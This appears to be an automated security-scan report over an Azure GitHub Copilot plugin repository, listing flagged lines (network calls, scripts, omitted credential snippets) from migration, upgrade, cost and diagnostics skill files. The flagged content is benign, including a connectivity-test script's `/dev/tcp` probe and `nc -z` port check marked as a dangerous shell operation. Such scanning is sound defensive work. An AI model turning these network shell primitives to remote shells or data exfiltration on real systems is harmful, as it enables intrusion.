- Use latest programming model (v4 for JavaScript, v2 for Python) - **Always use bindings and triggers instead of SDKs** — For blob read/write, use `input.storageBlob()` / `output.storageBlob()` with `extraInputs`/`extraOutputs`. For queues - Network accessline 18
- **Always use the latest supported language runtime** — Consult [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) and select the newest GA version. Do NOT default to an older LTS version whe
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/global-rules.md
- Network accessline 24
- Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.micr - Network accessline 25
- Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. N - Network accessline 26
- **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. Never default to older versions
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/lambda-to-functions.md
- Access to secretsline 90
[Credential-related source omitted] - Network accessline 95
- [AWS Lambda vs Azure Functions comparison](https://aka.ms/AWSLambda) - Network accessline 96
- [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/) - Network accessline 97
- [Supported language runtimes](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 98
- [Triggers and bindings overview](https://learn.microsoft.com/en-us/azure/azure-functions/functions-triggers-bindings) - Network accessline 99
- [Functions quickstart JS (azd)](https://github.com/Azure-Samples/functions-quickstart-javascript-azd/tree/main/infra) - Network accessline 100
- [Functions quickstart .NET Event Grid (azd)](https://github.com/Azure-Samples/functions-quickstart-dotnet-azd-eventgrid-blob/tree/main/infra) - Network accessline 172
properties: { // ARM resolves system key and handles validation at deployment time endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functi - Network accessline 173
// ARM resolves system key and handles validation at deployment time endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default - Network accessline 174
endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default', '2023-12-01').systemKeys.blobs_extension}'
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/csharp.md
- Network accessline 225
> Full reference: [Azure Functions C# isolated worker guide](https://learn.microsoft.com/en-us/azure/azure-functions/dotnet-isolated-process-guide)
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/java.md
- Network accessline 214
> Full reference: [Azure Functions Java developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-java)
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/javascript.md
- Network accessline 325
> Full reference: [Azure Functions JavaScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node)
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/powershell.md
- Network accessline 221
> Full reference: [Azure Functions PowerShell developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-powershell)
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/python.md
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/runtimes/typescript.md
- Network accessline 119
> Full reference: [Azure Functions TypeScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node?tabs=typescript)
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/SKILL.md
- Network accessline 79
- [Automation Scripts](references/services/functions/automation.md) - **Redis** - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManage - Network accessline 80
- **Redis** - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skil - Network accessline 81
- [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skill](https://git
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/INSTRUCTION.md
- Network accessline 102
- If azure-sdk-bom is used, ensure the BOM version exactly matches the resolved latest stable version recorded in the plan's `Guidelines` section as `TARGET_AZURE_SDK_BOM_VERSION` and there are **NO** explicit version dependencies for Azure - Network accessline 103
E.g. Instead of `implementation 'com.azure.resourcemanager:azure-resourcemanager:2.60.0'`, we should use `implementation 'com.azure.resourcemanager:azure-resourcemanager'`. For Azure libraries in azure-sdk-bom, check https://raw.githubuse - Network accessline 104
For Azure libraries in azure-sdk-bom, check https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml. - Network accessline 115
- [Migrate to `com.azure.resourcemanager.**` from `com.microsoft.azure.management.**`](https://aka.ms/java-track2-migration-guide) - Network accessline 116
- [Migrate to com.azure:azure-messaging-servicebus from com.microsoft.azure:azure-servicebus](https://aka.ms/azsdk/java/migrate/sb) - Network accessline 117
- [Migrate to azure-messaging-eventhubs from azure-eventhubs and azure-eventhubs-eph](https://aka.ms/azsdk/java/migrate/eh) - Network accessline 118
- [Migrate to `azure-messaging-eventgrid` from `microsoft-azure-eventgrid`](https://aka.ms/azsdk/java/migrate/eg) - Network accessline 119
- [Storage Blob Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V8_V12.md) - Network accessline 120
- [Storage Blob Service SDK Migration Guide from 10.x/11.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V10_V12.md) - Network accessline 121
- [Storage Queue Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-queue/migrationGuides/V8_V12.md) - Network accessline 122
- [Storage File Share Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-file-share/migrationGuides/V8_V12.md) - Network accessline 123
- [Migrate to azure-security-keyvault-secrets from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-secrets) - Network accessline 124
- [Migrate to azure-security-keyvault-keys from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-keys) - Network accessline 125
- [Migrate to azure-security-keyvault-certificates from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-cert) - Network accessline 126
- [Migrate to `Azure-Compute-Batch` from `Microsoft-Azure-Batch`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/batch/azure-compute-batch/MigrationGuide.md) - Network accessline 127
- [Migrate to `azure-ai-documentintelligence` from `azure-ai-formrecognizer`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/documentintelligence/azure-ai-documentintelligence/MIGRATION_GUIDE.md) - Network accessline 128
- [Migrate to `azure-ai-formrecognizer 4.0.0-beta.1 - above` from `azure-ai-formrecognizer 3.1.x - lower`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/formrecognizer/azure-ai-formrecognizer/migration-guide.md) - Network accessline 129
- [Migration Guide from Azure OpenAI Java SDK to OpenAI Java SDK](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/openai/azure-ai-openai-stainless/MIGRATION.md) - Network accessline 130
- [Migrate to azure-monitor-query from azure-loganalytics and azure-applicationinsights-query](https://aka.ms/azsdk/java/migrate/monitorquery)
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-settings.md
- Network accessline 3
Some projects define version catalogs programmatically in `settings.gradle` / `settings.gradle.kts` instead of using a TOML file. OpenRewrite does not support this either ([openrewrite/rewrite#4852](https://github.com/openrewrite/rewrite/is
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle-toml.md
- Network accessline 3
OpenRewrite does not yet support TOML version catalogs ([openrewrite/rewrite#4400](https://github.com/openrewrite/rewrite/issues/4400)). Handle manually.
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-gradle.md
- Network accessline 24
Under the hood (OpenRewrite recipes): - **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency)) - Network accessline 25
- **Add BOM**: `AddPlatformDependency` ([docs](https://docs.openrewrite.org/recipes/gradle/addplatformdependency)) - Network accessline 26
- **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/gradle/upgradedependencyversion)) - Network accessline 27
- **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/gradle/removeredundantdependencyversions)) - Network accessline 84
For every Azure dependency whose group starts with `com.azure` and is managed by the BOM (verify against `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`), strip the version coordinate.
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-maven.md
- Network accessline 24
Under the hood (OpenRewrite recipes): - **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency)) - Network accessline 25
- **Add BOM**: `AddManagedDependency` ([docs](https://docs.openrewrite.org/recipes/maven/addmanageddependency)) - Network accessline 26
- **Upgrade BOM**: `UpgradeDependencyVersion` ([docs](https://docs.openrewrite.org/recipes/maven/upgradedependencyversion)) - Network accessline 27
- **Remove redundant versions**: `RemoveRedundantDependencyVersions` ([docs](https://docs.openrewrite.org/recipes/maven/removeredundantdependencyversions)) - Network accessline 85
For every `<dependency>` whose `<groupId>` starts with `com.azure` (e.g. `com.azure`, `com.azure.resourcemanager`, `com.azure.spring`), check whether the BOM manages it (see the BOM POM at `https://repo1.maven.org/maven2/com/azure/azure-sdk
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/bom-migration/bom-migration.md
- Network accessline 39
If Python is not available or the `--get-latest-version` command fails, fetch `https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml` directly and use the `<version>` value declared in that BOM `pom. - Network accessline 57
> 💡 **Tip:** To check which artifacts are managed by the BOM, fetch > `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom` - Network accessline 58
> `https://repo1.maven.org/maven2/com/azure/azure-sdk-bom/{bom_version}/azure-sdk-bom-{bom_version}.pom`
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.eventprocessorhost.md
- Network accessline 16
Replace usage of `InMemoryCheckpointManager` / `InMemoryLeaseManager` with [BlobCheckpointStore](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs-checkpointstore-blob/src/main/java/com/azure/mess
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/package-specific/com.microsoft.azure.management.md
- Access to secretsline 61
[Credential-related source omitted]
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/scripts/upgrade_bom.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 43
GROUP_ID = "com.azure" ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" - Network accessline 44
ARTIFACT_ID = "azure-sdk-bom" BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 45
BOM_POM_URL = "https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml" - Network accessline 46
POM_NAMESPACE = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 80
def _get_latest_bom_version() -> str: try: with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: - Network accessline 81
try: with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: pom_xml = response.read() - Network accessline 82
with urllib.request.urlopen(BOM_POM_URL, timeout=HTTP_TIMEOUT_SECONDS) as response: - Network accessline 167
except ET.ParseError: return False ns = {"m": "http://maven.apache.org/POM/4.0.0"} - Network accessline 168
return False ns = {"m": "http://maven.apache.org/POM/4.0.0"} for dep in tree.findall(".//m:dependencyManagement/m:dependencies/m:dependency", ns): - Network accessline 169
ns = {"m": "http://maven.apache.org/POM/4.0.0"}
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/templates/PLAN_TEMPLATE.md
- Network accessline 198
- **Fluent API Changes** - **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager. - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for meth - Network accessline 199
- **Challenge**: Method names and builder patterns differ between legacy and modern Azure Resource Manager. - **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings. --> - Network accessline 200
- **Strategy**: Follow the migration guide at https://aka.ms/java-track2-migration-guide for method-level mappings.
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/languages/java/templates/SUMMARY_TEMPLATE.md
- Network accessline 111
- **Fluent API Changes** - **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager. - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide - Network accessline 112
- **Issue**: Method names differ between legacy Azure.management and modern azure-resourcemanager. - **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide - **Files Changed**: ResourceProvisioner.jav - Network accessline 113
- **Resolution**: Followed migration guide at https://aka.ms/java-track2-migration-guide
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/services/functions/automation.md
- Network accessline 4
> All scripts use `bash` syntax compatible with Azure Cloud Shell. For PowerShell, adapt accordingly. > > **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to - Network accessline 6
> **Source docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux) - Network accessline 317
- [Build and deploy with Azure Pipelines](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-azure-devops) - Network accessline 318
- [Build and deploy with GitHub Actions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-how-to-github-actions) - Network accessline 357
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST") - Network accessline 374
# Test an HTTP trigger function curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>" - Network accessline 375
curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/services/functions/consumption-to-flex.md
- Network accessline 4
> **Target**: Azure Functions Flex Consumption Plan (FC1/FlexConsumption) > **Platform**: Linux only (Windows support planned for future) > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/ - Network accessline 6
> **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux) - Network accessline 139
1. **Smoke test** — Get the app’s default hostname via `az functionapp show --query defaultHostName -o tsv`, then hit that URL and confirm it returns a non-error response (HTTP 2xx/4xx, not connection refused or 503). This is the minimum ba - Network accessline 140
2. Verify the app is running on Flex Consumption (`az functionapp show --query sku`) 3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) 4. Capture and compare performance benchmarks - Network accessline 141
3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) - Network accessline 223
- [Flex Consumption plan overview](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-plan) - Network accessline 224
- [How to use the Flex Consumption plan](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-how-to) - Network accessline 225
- [Azure CLI flex-migration commands](https://learn.microsoft.com/en-us/cli/azure/functionapp/flex-migration) (Linux only) - Network accessline 226
- [Flex Consumption IaC samples](https://github.com/Azure-Samples/azure-functions-flex-consumption-samples/tree/main/IaC) - Network accessline 227
- [Flex Consumption plan deprecations](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings#flex-consumption-plan-deprecations)
harness/github-copilot/plugins/azure-modernization/skills/azure-upgrade/references/services/redis/redis-to-amr.md
- Network accessline 10
| Source SKU | ARM Resource Type | CLI / PowerShell | Dedicated Skill | Repo | |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-s - Network accessline 11
|---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | | **ACRE** — - Network accessline 12
| **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | - Network accessline 13
| **ACRE** — Enterprise (`Enterprise_E*`), Enterprise Flash (`EnterpriseFlash_F*`) | `Microsoft.Cache/redisEnterprise` | `az redisenterprise`, `*-AzRedisEnterprise*` | `acre-to-amr-migration-skill` | https://github.com/AzureManagedRedis/acr - Network accessline 48
- IaC template migration for ARM, Bicep, and Terraform with worked before/after examples - Feature comparison and retirement FAQ - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the c - Network accessline 50
- **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the current retirement and creation-block dates, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azur - Network accessline 60
- Reusable polling scripts (`Poll-MigrationStatus.ps1`, `poll-migration-status.sh`) - Post-migration ACRE resource cleanup - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retiremen - Network accessline 62
- **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retirement date, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache- - Network accessline 98
- AMR Migration Skill (ACR → AMR): https://github.com/AzureManagedRedis/amr-migration-skill - Network accessline 99
- ACRE → AMR Migration Skill: https://github.com/AzureManagedRedis/acre-to-amr-migration-skill - Network accessline 100
- Azure Managed Redis docs: https://learn.microsoft.com/en-us/azure/redis/managed-redis/ - Network accessline 101
- ACR retirement announcement: https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-retired-tiers - Network accessline 102
- Entra ID auth for AMR: https://learn.microsoft.com/en-us/azure/redis/managed-redis/managed-redis-entra-for-access-control-configuration
harness/github-copilot/plugins/azure-observability-operations/skills/appinsights-instrumentation/references/AUTO.md
- Network accessline 3
Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/ - Network accessline 10
https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings
harness/github-copilot/plugins/azure-observability-operations/skills/appinsights-instrumentation/scripts/appinsights.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-forecast/error-handling.md
- Network accessline 11
| 424 | Failed Dependency | Bad training data — forecast model cannot compute predictions | Falls back to actual costs if `includeActualCost=true`; otherwise suggest using **the Cost Query workflow (Part 1)** for historical data | | 429 | T - Network accessline 13
| 503 | Service Unavailable | Temporary service issue | Check [Azure Status](https://status.azure.com) for service health. | - Network accessline 44
| 404 | ❌ No | Fix the scope URL — verify subscription, resource group, or billing account IDs | | 424 | ❌ No | Training data issue — retrying will not help. Fall back to actual costs or use **the Cost Query workflow (Part 1)** | | 503 | ❌ - Network accessline 46
| 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-forecast/workflow.md
- Network accessline 117
| 424 | Bad training data | Insufficient history; falls back to actual costs if available. | | 429 | Rate limited | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longes - Network accessline 119
| 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/azure-aks-anomalies.md
- Network accessline 12
az rest --method post \ --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \ - Network accessline 13
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/report-template.md
- Network accessline 56
https://portal.azure.com/#@<TENANT_ID>/resource/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/<RESOURCE_PROVIDER>/<RESOURCE_TYPE>/<RESOURCE_NAME>/overview
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/services/storage/azure-storage.md
- Network accessline 185
Always validate from [official pricing](https://azure.microsoft.com/pricing/details/storage/blobs/).
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-optimization/workflow.md
- Network accessline 168
**Key services to validate:** - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/ - Network accessline 169
- Container Apps: https://azure.microsoft.com/pricing/details/container-apps/ - Network accessline 170
- Virtual Machines: https://azure.microsoft.com/pricing/details/virtual-machines/ - Network accessline 171
- App Service: https://azure.microsoft.com/pricing/details/app-service/ - Network accessline 172
- Log Analytics: https://azure.microsoft.com/pricing/details/monitor/
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-query/error-handling.md
- Network accessline 12
| 404 | `NotFound` | Scope does not exist, subscription not found, or resource group does not exist. | Verify the scope URL. Confirm the subscription ID and resource group name are correct. | | 429 | `TooManyRequests` | Rate limit exceeded. - Network accessline 14
| 503 | `ServiceUnavailable` | Cost Management service is temporarily unavailable. | Check [Azure Status](https://status.azure.com) for service health. | - Network accessline 37
| 403 | ❌ No | Fix permissions. Request appropriate RBAC role assignment on the scope. | | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service hea - Network accessline 38
| 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. | | 5xx (other) | ❌ No | Do not retry. Investigate the error and check service healt - Network accessline 39
| 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-query/request-body-schema.md
- Network accessline 3
Schema for the [Cost Management Query API](https://learn.microsoft.com/en-us/rest/api/cost-management/query/usage).
harness/github-copilot/plugins/azure-observability-operations/skills/azure-cost/cost-query/workflow.md
- Network accessline 137
| 404 | Scope not found | Verify scope URL and resource IDs. | | 429 | Too many requests | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longest** value. **Max 3 retrie - Network accessline 139
| 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/references/app-service/README.md
- Network accessline 6
|---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe - Network accessline 7
| High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for - Network accessline 8
| Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota | - Network accessline 30
**Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths. - Network accessline 96
# Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health - Network accessline 97
curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/references/container-apps/README.md
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/references/kql-queries.md
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/aks-baseline.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/aks-baseline.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/appservice-diagnostics.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/appservice-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/containerapp-diagnostics.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/containerapp-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/pod-evidence.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/pod-evidence.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/run-ig.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/run-ig.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/test-messaging-connectivity.ps1
- Executable scriptline 1
Executable file - Network accessline 89
function Get-HttpsResult { try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` - Network accessline 90
try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` -UseBasicParsing -ErrorAction Stop - Network accessline 91
$resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/scripts/test-messaging-connectivity.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 99
probe_tcp() { local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then - Network accessline 100
local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Network accessline 101
if command -v nc >/dev/null 2>&1; then - Network accessline 102
if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Dangerous shell operationline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 132
# ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 134
# endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 135
https_result() { if ! command -v curl >/dev/null 2>&1; then - Network accessline 136
if ! command -v curl >/dev/null 2>&1; then - Network accessline 138
if probe_tcp "$FQDN" 443; then echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 139
echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 144
fi local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 145
